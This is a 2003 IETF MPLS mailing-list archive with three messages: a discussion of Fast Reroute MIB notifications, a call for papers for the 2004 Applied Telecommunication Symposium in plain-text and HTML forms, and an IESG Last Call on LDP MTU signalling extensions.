Message-ID: <017001c39ef8$e6afba20$6701a8c0@amer.cisco.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.4024
In-Reply-To: <02cc01c39ed3$70eb1b10$f9919ed9@Puppy>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit



>-----Original Message-----
>From: owner-mpls@UU.NET [mailto:owner-mpls@UU.NET] On Behalf 
>Of Adrian Farrel
>Sent: Thursday, October 30, 2003 5:47 AM
>To: Nurit Sprecher
>Cc: 'mpls@uu.net'
>Subject: Fast Reroute MIB Notifications
>
>
>Subject line changed and recipients trimmed.
>
>Hi Nurit,
>I think this would be better answered by one of the MPLS MIB authors.
>
>I have a memory that someone was working on FRR extensions to 
>the TE-MIB, but I can't find
>that draft now. Perhaps it was rolled into the MPLS TE MIB?

	Yes, it is called the MPLS-TE-FRR-MIB. It has expired
and I didn't get it in under the deadline. Rest assured,
it will be updated soon after the meeting.

>Your idea seems reasonable to me. That is, when there is a 
>significant change in the
>service provided by an LSP, the operator should receive a 
>Notification and not have to discover the fact by polling.

	The MPLS-TE-FRR-MIB does have a notification whereby
a PLR can indicate that FRR has been engaged.

	--tom



>I'm not sure that the ARHop table tells you what you want to 
>know, anyway. The RRO flags
>are not shown as part of ARHop table in
>http://www.ietf.org/internet-drafts/draft-ietf-mpls-te-mib-13.t
xt. This makes this feature
a candidate for either an FRR extension MIB or the GMPLS MIB.

Cheers,
Adrian


> I have a question on notifications when FRR is activated.
> If an LSP has been established with the 'one-to-one local protection
> desired' and a detour has been established at each PLR --> all hops
along
> the LSP are considered FRR protected.
> Is for example, a problem occurs on one of these detours and the hop
becomes
> to be unprotected, the consequent Resv message will indicate that the
> relevant node is not protected any more and the ARHop table will be
updated
> with the information. However, a management station has no idea of the
> event, unless it keeps polling the ARHop table, which is not a
reasonable
> operation. I think that an appropriate notification/trap should be
sent to
> the management station indicating the protection status has been
changed to
> trigger the management station polling the ARHop table and verifying
which
> node is not protected any more, or which node that has not been
protected is
> now protected.
> Is it possible to add such a kind of trap to the TE MIB?
> Thanks in advance, Nurit.


>





From owner-mpls@UU.NET  Thu Oct 30 15:04:06 2003
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA07850
	for <mpls-archive@lists.ietf.org>; Thu, 30 Oct 2003 15:04:05 -0500 (EST)
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpmro01492
	for <mpls-archive@lists.ietf.org>; Thu, 30 Oct 2003 20:04:13 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpmro01131;
	Thu, 30 Oct 2003 20:04:03 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpmrn13946
	for mpls-outgoing; Thu, 30 Oct 2003 19:45:58 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQpmrn13941
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 30 Oct 2003 19:45:48 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQpmrm22779
	for <mpls@UU.NET>; Thu, 30 Oct 2003 19:44:18 GMT
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpmrm24957
	for <mpls@UU.NET>; Thu, 30 Oct 2003 19:44:17 GMT
Received: from evita3.cs.fredonia.edu by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: evita2.cs.fredonia.edu [141.238.30.15])
	id QQpmrm24853
	for <mpls@UU.NET>; Thu, 30 Oct 2003 19:44:13 GMT
Received: from zubairi (zubairi.cs.fredonia.edu [141.238.30.211])
	by evita3.cs.fredonia.edu (8.10.2/8.10.2) with SMTP id h9UJiBV27861
	for <mpls@UU.NET>; Thu, 30 Oct 2003 14:44:11 -0500
Message-ID: <002101c39f1f$3529f2d0$d31eee8d@zubairi>
Reply-To: "Junaid Ahmed Zubairi" <zubairi@cs.fredonia.edu>
From: "Junaid Ahmed Zubairi" <zubairi@cs.fredonia.edu>
To: <mpls@UU.NET>
Subject: Date Extended: (Traffic Engineering) Applied Telecommunication Symposium
Date: Thu, 30 Oct 2003 14:51:15 -0500
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_001B_01C39EF5.44944650"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4927.1200
X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4927.1200
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_001B_01C39EF5.44944650
Content-Type: multipart/alternative;
	boundary="----=_NextPart_001_001C_01C39EF5.44944650"


------=_NextPart_001_001C_01C39EF5.44944650
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable


New Submission Deadline: Nov 17

CALL FOR PAPERS
Track on Traffic Engineering With Protocols and Devices*
in
Applied Telecommunication Symposium (ATS)
Part of the 2004 Advanced Simulation Technologies Conference (ASTC 2004)
April 18 through April 22, 2004
Hyatt Regency Crystal City, Arlington, Virginia, USA


"Modeling and Simulation Challenges in Telecommunication Systems"



The Applied Telecommunication Symposium (ATS) is an international forum
for exchange of technical knowledge and presentation of original papers =
on
the analysis of telecommunication systems and technologies. It is =
intended
for professionals, engineers, software developers, managers, and others
interested in cellular and packet traffic characteristics, analysis of
telecommunication networks, and practitioners operating
telecommunication networks. We are looking for innovative technical
papers describing projects, applications, and research and development
work pertinent to telecommunication. The following tracks (with track
chairs listed) will be held; the topics are representative of the track,
but are not necessarily exclusive to that track:

Wireless
Chair: Dr. Hassan Rajaei, Bowling Green State University
Co-chair: Dr. Mohsen Guizani, University of Michigan
-CDMA
-UMTS
-GSM
-2.5G/3G Wireless
-Wireless Data
-Cell Traffic
-Network Performance and Engineering
- Measurements
- SPECIAL SESSION ON WLAN RESEARCH with particular emphasis on QoS, =
routing,
reliability, overload/congestion control, network security, and =
interworking
with 2.5/3G systems.

Telecommunications Business and Regulation
Chair - Dr. George Kraft, Stuart School of Business, Illinois Institute =
of
Technology
-Cost modeling
-Call center operations
-Billing models
-E-commerce

Network Management and Security
Chair: Dr. Axel Lehmann, Universitaet der Bundeswehr Muenchen
Co-chair: Dr. Wolfang Haidegger, Siemens/FTW
-Operations, Administration, Maintenance
-Overload/congestion control
-Load balancing
-Influence of security measures on network performance

Networks and Multimedia
Chair - Dr. Aftab Ahmad, Norfolk Statel University
-Internet QoS Architectures
-Network performance - analysis and simulation
-Traffic characterization
-Packet switch architecture evaluation

Modeling Techniques
Chair: Dr. Shakil Akhtar, UAE University, Al-Ain, United Arab Emirates
Co-chair: Dr. Lev Sofman, Alcatel
-Simulation techniques
-Acceleration methods
-Traffic synthesis
-Combined simulation/analytic procedures
-Metro area design and modeling

*Traffic Engineering with Protocols and Devices
*Chair:  Dr. Junaid Zubairi, SUNY at Fredonia
*Co-chair: Dr. Chia J.  Liu, AT&T Labs
*-Traffic Management and control
*-Traffic engineering architectures
*-Bandwidth management
*-GMPLS

Draft paper or extended abstract should be submitted to

http://scs.proceedingscentral.com

by November 17, 2003. Please indicate in the abstract  for which
track(s) you wish to have your paper considered for; note that the final
track selection will be at the discretion of the ATS organizers. The
abstract must include the author(s), e-mail address(es), and
affiliation.

Further information is available at
http://scs.org/confernc/astc/astc04/cfp/ats04.htm

Deadlines
Abstract/Draft paper due  - November 17, 2003
Notification of acceptance sent - November 30, 2003
Camera-ready paper due - January 31, 2004

Conference Committee

General Chair
Dr. Bohdan Bodnar
Motorola, Inc.
bbodnar1@motorola.com

Co-Chair
Dr. Hassan Rajaei
Bowling Green State University

Program Chair
Dr. George Kraft
Illinois Institute of Technology
kraft@stuart.iit.edu

Sponsored by The Society for Modeling and Simulation International
P.O. Box 17900
San Diego, CA 92177-7900
Tel 858-277-3888
Fax: 858-277-3930
E-mail scs@scs.org
http://www.scs.org

-------------------------------------------------------------------------=
---
----

For more information on the Traffic Engineering track, please contact =
the
track chairs at the following address:

Dr. Junaid Ahmed Zubairi
Department of Mathematics and Computer Science
College at Fredonia, State University of New York
Fredonia, NY 14063, USA

Tel: +1-716-673-4694
Fax: +1-508-256-8324
Email: zubairi@cs.fredonia.edu
WWW: http://www.cs.fredonia.edu/~zubairi



Dr. Chia Liu, AT&T Labs
Email: cliu@att.com






------=_NextPart_001_001C_01C39EF5.44944650
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.3809.1800" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>New Submission Deadline: Nov =
17</FONT></DIV>
<DIV>&nbsp;</DIV>CALL FOR PAPERS<BR>Track on Traffic Engineering With =
Protocols=20
and Devices*<BR>in<BR>Applied Telecommunication Symposium (ATS)<BR>Part =
of the=20
2004 Advanced Simulation Technologies Conference (ASTC 2004)<BR>April 18 =
through=20
April 22, 2004<BR>Hyatt Regency Crystal City, Arlington, Virginia,=20
USA<BR><BR><BR>"Modeling and Simulation Challenges in Telecommunication=20
Systems"<BR><BR><BR><BR>The Applied Telecommunication Symposium (ATS) is =
an=20
international forum<BR>for exchange of technical knowledge and =
presentation of=20
original papers on<BR>the analysis of telecommunication systems and=20
technologies. It is intended<BR>for professionals, engineers, software=20
developers, managers, and others<BR>interested in cellular and packet =
traffic=20
characteristics, analysis of<BR>telecommunication networks, and =
practitioners=20
operating<BR>telecommunication networks. We are looking for innovative=20
technical<BR>papers describing projects, applications, and research and=20
development<BR>work pertinent to telecommunication. The following tracks =
(with=20
track<BR>chairs listed) will be held; the topics are representative of =
the=20
track,<BR>but are not necessarily exclusive to that=20
track:<BR><BR>Wireless<BR>Chair: Dr. Hassan Rajaei, Bowling Green State=20
University<BR>Co-chair: Dr. Mohsen Guizani, University of=20
Michigan<BR>-CDMA<BR>-UMTS<BR>-GSM<BR>-2.5G/3G Wireless<BR>-Wireless=20
Data<BR>-Cell Traffic<BR>-Network Performance and Engineering<BR>-=20
Measurements<BR>- SPECIAL SESSION ON WLAN RESEARCH with particular =
emphasis on=20
QoS, routing,<BR>reliability, overload/congestion control, network =
security, and=20
interworking<BR>with 2.5/3G systems.<BR><BR>Telecommunications Business =
and=20
Regulation<BR>Chair - Dr. George Kraft, Stuart School of Business, =
Illinois=20
Institute of<BR>Technology<BR>-Cost modeling<BR>-Call center=20
operations<BR>-Billing models<BR>-E-commerce<BR><BR>Network Management =
and=20
Security<BR>Chair: Dr. Axel Lehmann, Universitaet der Bundeswehr=20
Muenchen<BR>Co-chair: Dr. Wolfang Haidegger, Siemens/FTW<BR>-Operations, =

Administration, Maintenance<BR>-Overload/congestion control<BR>-Load=20
balancing<BR>-Influence of security measures on network=20
performance<BR><BR>Networks and Multimedia<BR>Chair - Dr. Aftab Ahmad, =
Norfolk=20
Statel University<BR>-Internet QoS Architectures<BR>-Network performance =
-=20
analysis and simulation<BR>-Traffic characterization<BR>-Packet switch=20
architecture evaluation<BR><BR>Modeling Techniques<BR>Chair: Dr. Shakil =
Akhtar,=20
UAE University, Al-Ain, United Arab Emirates<BR>Co-chair: Dr. Lev =
Sofman,=20
Alcatel<BR>-Simulation techniques<BR>-Acceleration methods<BR>-Traffic=20
synthesis<BR>-Combined simulation/analytic procedures<BR>-Metro area =
design and=20
modeling<BR><BR>*Traffic Engineering with Protocols and =
Devices<BR>*Chair:&nbsp;=20
Dr. Junaid Zubairi, SUNY at Fredonia<BR>*Co-chair: Dr. Chia J.&nbsp; =
Liu,=20
AT&amp;T Labs<BR>*-Traffic Management and control<BR>*-Traffic =
engineering=20
architectures<BR>*-Bandwidth management<BR>*-GMPLS<BR><BR>Draft paper or =

extended abstract should be submitted to<BR><BR><A=20
href=3D"http://scs.proceedingscentral.com">http://scs.proceedingscentral.=
com</A><BR><BR>by=20
November 17, 2003. Please indicate in the abstract&nbsp; for =
which<BR>track(s)=20
you wish to have your paper considered for; note that the final<BR>track =

selection will be at the discretion of the ATS organizers. =
The<BR>abstract must=20
include the author(s), e-mail address(es), =
and<BR>affiliation.<BR><BR>Further=20
information is available at<BR><A=20
href=3D"http://scs.org/confernc/astc/astc04/cfp/ats04.htm">http://scs.org=
/confernc/astc/astc04/cfp/ats04.htm</A><BR><BR>Deadlines<BR>Abstract/Draf=
t=20
paper due&nbsp; - November 17, 2003<BR>Notification of acceptance sent - =

November 30, 2003<BR>Camera-ready paper due - January 31, =
2004<BR><BR>Conference=20
Committee<BR><BR>General Chair<BR>Dr. Bohdan Bodnar<BR>Motorola, =
Inc.<BR><A=20
href=3D"mailto:bbodnar1@motorola.com">bbodnar1@motorola.com</A><BR><BR>Co=
-Chair<BR>Dr.=20
Hassan Rajaei<BR>Bowling Green State University<BR><BR>Program =
Chair<BR>Dr.=20
George Kraft<BR>Illinois Institute of Technology<BR><A=20
href=3D"mailto:kraft@stuart.iit.edu">kraft@stuart.iit.edu</A><BR><BR>Spon=
sored by=20
The Society for Modeling and Simulation International<BR>P.O. Box =
17900<BR>San=20
Diego, CA 92177-7900<BR>Tel 858-277-3888<BR>Fax: 858-277-3930<BR>E-mail =
<A=20
href=3D"mailto:scs@scs.org">scs@scs.org</A><BR><A=20
href=3D"http://www.scs.org">http://www.scs.org</A><BR><BR>---------------=
-------------------------------------------------------------<BR>----<BR>=
<BR>For=20
more information on the Traffic Engineering track, please contact =
the<BR>track=20
chairs at the following address:<BR><BR>Dr. Junaid Ahmed =
Zubairi<BR>Department=20
of Mathematics and Computer Science<BR>College at Fredonia, State =
University of=20
New York<BR>Fredonia, NY 14063, USA<BR><BR>Tel: +1-716-673-4694<BR>Fax:=20
+1-508-256-8324<BR>Email: <A=20
href=3D"mailto:zubairi@cs.fredonia.edu">zubairi@cs.fredonia.edu</A><BR>WW=
W: <A=20
href=3D"http://www.cs.fredonia.edu/~zubairi">http://www.cs.fredonia.edu/~=
zubairi</A><BR><BR><BR><BR>Dr.=20
Chia Liu, AT&amp;T Labs<BR>Email: <A=20
href=3D"mailto:cliu@att.com">cliu@att.com</A><BR><BR><BR><BR><BR></BODY><=
/HTML>

------=_NextPart_001_001C_01C39EF5.44944650--

------=_NextPart_000_001B_01C39EF5.44944650
Content-Type: text/html;
	name="ats2004.html"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="ats2004.html"
Content-Transfer-Encoding: quoted-printable

<!-- saved from =
url=3D(0052)http://www.isca-hq.org/SS_on_Traffic_Engineering.htm -->
<html>

<head>
<meta http-equiv=3D"Content-Type"
content=3D"text/html; charset=3Diso-8859-1">
<meta name=3D"ProgId" content=3D"FrontPage.Editor.Document">
<meta name=3D"GENERATOR" content=3D"Microsoft FrontPage Express 2.0">
<title>CFP-ATS2004-TE</title>
</head>

<body>

<h3 align=3D"center" class=3D"MsoNormal" style=3D"TEXT-ALIGN: =
justify"><strong>CALL
FOR PAPERS</strong></h3>
<div align=3D"center"><center>

<table border=3D"4" width=3D"70%">
    <tr>
        <td align=3D"center" width=3D"100%" bgcolor=3D"#00FFFF"
        bordercolor=3D"#FF0000"><p align=3D"center"><a
        href=3D"#*Traffic Engineering with Protocols and Devices"><font
        color=3D"#FF0000" size=3D"4"><strong>Track on Traffic
        Engineering With Protocols and Devices*</strong></font></a></p>
        </td>
    </tr>
</table>
</center></div>

<h3 align=3D"center" class=3D"MsoNormal" style=3D"TEXT-ALIGN: =
justify"><strong>in
</strong></h3>

<h3 align=3D"center" class=3D"MsoNormal" style=3D"TEXT-ALIGN: =
justify"><strong>Applied
Telecommunication Symposium (ATS)</strong></h3>

<p align=3D"center" class=3D"MsoNormal" style=3D"TEXT-ALIGN: =
justify"><font
color=3D"#FF0000" size=3D"4" face=3D"Trebuchet MS"><strong>Extended
Abstract Deadline: Nov 17th</strong></font></p>

<h3 align=3D"center" class=3D"MsoNormal" style=3D"TEXT-ALIGN: =
justify"><strong>Part
of the 2004 Advanced Simulation Technologies Conference (ASTC
2004)</strong></h3>

<h3 align=3D"center" class=3D"MsoNormal" style=3D"TEXT-ALIGN: =
justify"><strong>April
18 through April 22, 2004<br>
Hyatt Regency Crystal City, Arlington, Virginia, USA<br>
<br>
&quot;Modeling and Simulation Challenges in Telecommunication
Systems&quot;</strong></h3>

<p align=3D"left" class=3D"MsoNormal" style=3D"TEXT-ALIGN: justify">The
Applied Telecommunication Symposium (ATS) is an international
forum for exchange of technical knowledge and presentation of
original papers on the analysis of telecommunication systems and
technologies. It is intended for professionals, engineers,
software developers, managers, and others interested in cellular
and packet traffic characteristics, analysis of telecommunication
networks, and practitioners operating telecommunication networks.
We are looking for innovative technical papers describing
projects, applications, and research and development work
pertinent to telecommunication. The following tracks (with track
chairs listed) will be held; the topics are representative of the
track, but are not necessarily exclusive to that track:</p>

<p align=3D"left" class=3D"MsoNormal" style=3D"TEXT-ALIGN: =
justify">&nbsp;</p>

<p align=3D"left" class=3D"MsoNormal" style=3D"TEXT-ALIGN: =
justify"><strong>Wireless<br>
</strong>Chair: Dr. Hassan Rajaei, Bowling Green State University<br>
Co-chair: Dr. Mohsen Guizani, University of Michigan<br>
-CDMA<br>
-UMTS<br>
-GSM<br>
-2.5G/3G Wireless<br>
-Wireless Data<br>
-Cell Traffic<br>
-Network Performance and Engineering<br>
- Measurements<br>
- SPECIAL SESSION ON WLAN RESEARCH with particular emphasis on
QoS, routing, reliability, overload/congestion control, network
security, and interworking with 2.5/3G systems.<br>
<br>
<strong>Telecommunications Business and Regulation<br>
</strong>Chair - Dr. George Kraft, Stuart School of Business,
Illinois Institute of Technology<br>
-Cost modeling<br>
-Call center operations<br>
-Billing models<br>
-E-commerce<br>
<br>
<strong>Network Management and Security<br>
</strong>Chair: Dr. Axel Lehmann, Universitaet der Bundeswehr
Muenchen<br>
Co-chair: Dr. Wolfang Haidegger, Siemens/FTW<br>
-Operations, Administration, Maintenance<br>
-Overload/congestion control<br>
-Load balancing<br>
-Influence of security measures on network performance<br>
<br>
<strong>Networks and Multimedia<br>
</strong>Chair - Dr. Aftab Ahmad, DePaul University<br>
-Internet QoS Architectures<br>
-Network performance - analysis and simulation<br>
-Traffic characterization<br>
-Packet switch architecture evaluation<br>
<br>
<strong>Modeling Techniques<br>
</strong>Chair: Dr. Shakil Akhtar, UAE University, Al-Ain, United
Arab Emirates<br>
Co-chair: Dr. Lev Sofman, Alcatel<br>
-Simulation techniques<br>
-Acceleration methods<br>
-Traffic synthesis<br>
-Combined simulation/analytic procedures<br>
-Metro area design and modeling<br>
<br>
<a name=3D"*Traffic Engineering with Protocols and =
Devices"><strong>*Traffic
Engineering with Protocols and Devices<br>
</strong></a>Chair: Dr. Junaid Zubairi, SUNY at Fredonia<br>
Co-chair: Dr. Chia J. Liu, AT&amp;T Labs<br>
-Traffic Management and control<br>
-Traffic engineering architectures<br>
-Bandwidth management<br>
-GMPLS<br>
<br>
Draft paper or extended abstract should be submitted to <a
href=3D"http://scs.proceedingscentral.com">http://scs.proceedingscentral.=
com</a>
by November 17, 2003. Please indicate in the abstract for which
track(s) you wish to have your paper considered for; note that
the final track selection will be at the discretion of the ATS
organizers. The abstract must include the author(s), e-mail
address(es), and affiliation. <br>
<br>
Further information is available at <a
href=3D"http://www.scs.org/confernc/astc/astc04/cfp/ats04.htm">http://www=
.scs.org/confernc/astc/astc04/cfp/ats04.htm</a>
</p>

<p align=3D"left" class=3D"MsoNormal" style=3D"TEXT-ALIGN: =
justify"><strong>Conference
Committee<br>
</strong>General Chair<br>
Dr. Bohdan Bodnar<br>
Motorola, Inc.<br>
bbodnar1@motorola.com<br>
<br>
Co-Chair<br>
Dr. Ariel Sharon<br>
Lucent Technologies, Inc.<br>
asharon@lucent.com<br>
<br>
Program Chair<br>
Dr. George Kraft<br>
Illinois Institute of Technology<br>
kraft@stuart.iit.edu<br>
<br>
Sponsored by The Society for Modeling and Simulation
International<br>
P.O. Box 17900<br>
San Diego, CA 92177-7900<br>
Tel 858-277-3888<br>
Fax: 858-277-3930<br>
E-mail scs@scs.org<br>
http://www.scs.org<br>
<br>
Deadlines</p>

<table border=3D"3" width=3D"60%" bordercolor=3D"#000000">
    <tr>
        <td>Abstract/Draft paper due</td>
        <td>November 17, 2003</td>
    </tr>
    <tr>
        <td>Notification of acceptance sent</td>
        <td>November 30, 2003</td>
    </tr>
    <tr>
        <td>Camera-ready paper due</td>
        <td>January 31, 2004</td>
    </tr>
</table>

<p align=3D"left" class=3D"MsoNormal" style=3D"TEXT-ALIGN: =
justify">&nbsp;</p>

<hr size=3D"4" noshade>

<p class=3D"MsoNormal" style=3D"TEXT-ALIGN: justify"><font =
size=3D"4"><b>For
more information on the Traffic Engineering track, please contact
the track chairs at the following address:</b></font></p>

<p align=3D"center" class=3D"MsoNormal"
style=3D"MARGIN-LEFT: 0.5in; TEXT-ALIGN: justify"><b>Dr. Junaid
Ahmed Zubairi<br>
</b>Department of Mathematics and Computer Science<br>
College at Fredonia, State University of New York<br>
Fredonia, NY 14063, USA<br>
<br>
Tel: +1-716-673-4694<br>
Fax: +1-508-256-8324<br>
Email: <a =
href=3D"mailto:zubairi@cs.fredonia.edu">zubairi@cs.fredonia.edu<br>
</a>WWW: <a =
href=3D"http://www.cs.fredonia.edu/~zubairi">http://www.cs.fredonia.edu/~=
zubairi</a></p>

<p align=3D"center" class=3D"MsoNormal"
style=3D"MARGIN-LEFT: 0.5in; TEXT-ALIGN: justify">&nbsp;</p>

<p align=3D"center" class=3D"MsoNormal"
style=3D"MARGIN-LEFT: 0.5in; TEXT-ALIGN: justify"><strong>Dr. Chia
Liu, AT&amp;T Labs<br>
</strong>Email: <a href=3D"mailto:cliu@att.com">cliu@att.com</a> </p>

<p class=3D"MsoNormal"
style=3D"MARGIN-LEFT: 0.5in; TEXT-ALIGN: justify">&nbsp;</p>

<p align=3D"center">&nbsp;</p>
</body>
</html>

------=_NextPart_000_001B_01C39EF5.44944650--



From owner-mpls@UU.NET  Fri Oct 31 11:13:54 2003
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA05339
	for <mpls-archive@lists.ietf.org>; Fri, 31 Oct 2003 11:13:53 -0500 (EST)
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpmuq16681
	for <mpls-archive@lists.ietf.org>; Fri, 31 Oct 2003 16:14:04 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpmuq16118;
	Fri, 31 Oct 2003 16:13:46 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpmup21156
	for mpls-outgoing; Fri, 31 Oct 2003 15:53:11 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQpmup21150
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 31 Oct 2003 15:53:07 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQpmup25384
	for <mpls@uu.net>; Fri, 31 Oct 2003 15:51:36 GMT
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpmup08140
	for <mpls@uu.net>; Fri, 31 Oct 2003 15:51:36 GMT
Received: from sj-core-5.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-core-5.cisco.com [171.71.177.238])
	id QQpmup08126
	for <mpls@uu.net>; Fri, 31 Oct 2003 15:51:35 GMT
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-5.cisco.com (8.12.9/8.12.6) with ESMTP id h9VFpUS3013174
	for <mpls@uu.net>; Fri, 31 Oct 2003 07:51:33 -0800 (PST)
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.70.36])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ADP82655;
	Fri, 31 Oct 2003 10:51:29 -0500 (EST)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.11.2/CISCO.WS.1.2) id h9VFpTI10730 for mpls@uu.net; Fri, 31 Oct 2003 10:51:29 -0500 (EST)
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQpmup20879
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 31 Oct 2003 15:49:38 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQpmup19453
	for <mpls@uu.net>; Fri, 31 Oct 2003 15:47:48 GMT
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpmup02348
	for <mpls@uu.net>; Fri, 31 Oct 2003 15:47:48 GMT
Received: from asgard.ietf.org by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: asgard.ietf.org [132.151.6.40])
	id QQpmup02333
	for <mpls@uu.net>; Fri, 31 Oct 2003 15:47:47 GMT
Received: from apache by asgard.ietf.org with local (Exim 4.14)
	id 1AFbH0-0002rQ-My; Fri, 31 Oct 2003 10:33:14 -0500
X-test-idtracker: no
To: IETF-Announce:;
Cc: mpls@UU.NET
From: The IESG <iesg-secretary@ietf.org>
Subject: Last Call: 'Maximum Transmission Unit Signalling Extensions for the
         Label Distribution Protocol' to Proposed Standard 
Reply-to: iesg@ietf.org
Message-Id: <E1AFbH0-0002rQ-My@asgard.ietf.org>
Date: Fri, 31 Oct 2003 10:33:14 -0500
Sender: owner-mpls@UU.NET
Precedence: bulk

The IESG has received a request from the Multiprotocol Label Switching WG to
consider the following document:

- 'Maximum Transmission Unit Signalling Extensions for the Label 
Distribution Protocol '
   <draft-ietf-mpls-ldp-mtu-extensions-02.txt> as a Proposed Standard

The IESG plans to make a decision in the next few weeks, and solicits
final comments on this action.  Please send any comments to the
iesg@ietf.org or ietf@ietf.org mailing lists by 2003-11-14.

The file can be obtained via
http://www.ietf.org/internet-drafts/draft-ietf-mpls-ldp-mtu-extensions-02.txt



